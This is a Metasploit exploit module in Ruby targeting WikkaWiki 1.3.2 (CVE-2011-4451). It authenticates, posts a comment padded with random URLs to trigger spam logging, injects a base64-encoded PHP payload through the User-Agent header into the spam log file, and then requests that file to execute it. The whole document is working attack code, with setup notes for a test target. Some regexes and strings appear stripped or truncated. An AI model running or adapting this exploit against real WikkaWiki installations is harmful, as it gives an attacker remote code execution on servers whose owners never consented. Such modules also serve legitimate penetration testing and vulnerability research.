## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", 'Description' => %q{ This module exploits a vulnerability found in WikkaWiki. When the spam logging feature is enabled, it is possible to inject PHP code into the spam log file via the UserAgent header , and then request it to execute our payload. There are at least three different ways to trigger spam protection, this module does so by generating 10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6). Please note that in order to use the injection, you must manually pick a page first that allows you to add a comment, and then set it as 'PAGE'. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', #Initial discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2011-4451'], ['OSVDB', '77393'], ['EDB', '18177'], ['URL', 'http://wush.net/trac/wikka/ticket/1098'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], 'Targets' => [ ['WikkaWiki 1.3.2 r1814', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 30 2011", 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'WikkaWiki username']), OptString.new('PASSWORD', [true, 'WikkaWiki password']), OptString.new('PAGE', [true, 'Page to inject']), OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) ], self.class) end def check uri = normalize_uri(target_uri.path) res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}/wikka.php?wakka=HomePage" }) if res and res.body =~ /Powered by WikkaWiki/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end # # Get the cookie before we do any of that login/exploity stuff # def get_cookie res = send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka if res and !res.get_cookies.empty? cookie = res.get_cookies else fail_with(Failure::Unknown, "#{peer} - No cookie found, will not continue") end cookie end # # Do login, and then return the cookie that contains our credential # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, 'cookie' => cookie }) # Extract the hidden fields login = {} if res and res.body =~ /\
.+\
(.+)\<\/fieldset\>.+\Login\/Register\<\/legend\>/m fields = $1.scan(/\/) fields.each do |name, value| login[name] = value end else fail_with(Failure::Unknown, "#{peer} - Unable to find the hidden fieldset required for login") end # Add the rest of fields required for login login['action'] = 'login' login['name'] = datastore['USERNAME'] login['password'] = datastore['PASSWORD'] login['do_redirect'] = 'on' login['submit'] = "Login" login['confpassword'] = '' login['email'] = '' port = (rport.to_i == 80) ? "" : ":#{rport}" res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, 'vars_post' => login }) if res and res.get_cookies =~ /user_name/ c = res.get_cookies user = c.scan(/(user_name\@\w+=\w+);/)[0] || "" pass = c.scan(/(pass\@\w+=\w+)/)[0] || "" cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" fail_with(Failure::Unknown, "#{peer} - Unable to login with \"#{cred}\"") end return cookie_cred end # # After login, we inject the PHP payload # def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) fields = {} if res and res.body =~ /\
(.+)\<\/fieldset\>/m $1.scan(/\/).each do |n, v| fields[n] = v end else fail_with(Failure::Unknown, "#{peer} - Cannot get necessary fields before posting a comment") end # Generate enough URLs to trigger spam logging urls = '' 10.times do |i| urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" end # Add more fields fields['body'] = urls fields['submit'] = 'Add' # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, 'agent' => "" }) send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end def exploit @base = normalize_uri(target_uri.path) @base << '/' if @base[-1, 1] != '/' print_status("#{peer} - Getting cookie") cookie = get_cookie print_status("#{peer} - Logging in") cred = login(cookie) print_status("#{peer} - Triggering spam logging") inject_exec(cred) handler end end =begin For testing: svn -r 1814 co https://wush.net/svn/wikka/trunk wikka Open wikka.config.php, do: 'spam_logging' => '1' =end